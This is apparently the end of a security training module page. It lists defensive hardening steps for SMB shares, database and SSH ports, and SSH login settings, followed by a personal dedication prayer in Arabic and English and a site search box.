Modern enterprise security programs must implement proactive, layered defense-in-depth controls to detect and mitigate the techniques covered in this module:

  • Centralize and alert on unauthorized SMB administrative share queries (C$, ADMIN$, IPC$) from unmanaged endpoints.
  • Deploy network segmentation ensuring critical database ports (1433, 3306, 5432) and SSH (22) are non-routable from the public internet.
  • Enforce key-based authentication on SSH and disable root SSH login (PermitRootLogin no).

اللهم اجعل هذا العمل علمًا نافعًا وصدقةً جارية، واكتب لي به الأجر والقبول، وانفع به كل من قرأه أو تعلّمه.
اللهم احفظ لي والديّ وأهلي، وبارك في أعمارهم وصحتهم، وأدم عليهم نعمة الصحة والعافية، ولا تريني فيهم بأسًا يبكيني.
Dedicated as ongoing charity and beneficial knowledge. May Allah bless my parents and family, protect them, and grant them lasting health and happiness.

Search Results

0 matches
Type keywords, tool names (Frida, Burp, Ghidra), CVE numbers, or categories to search...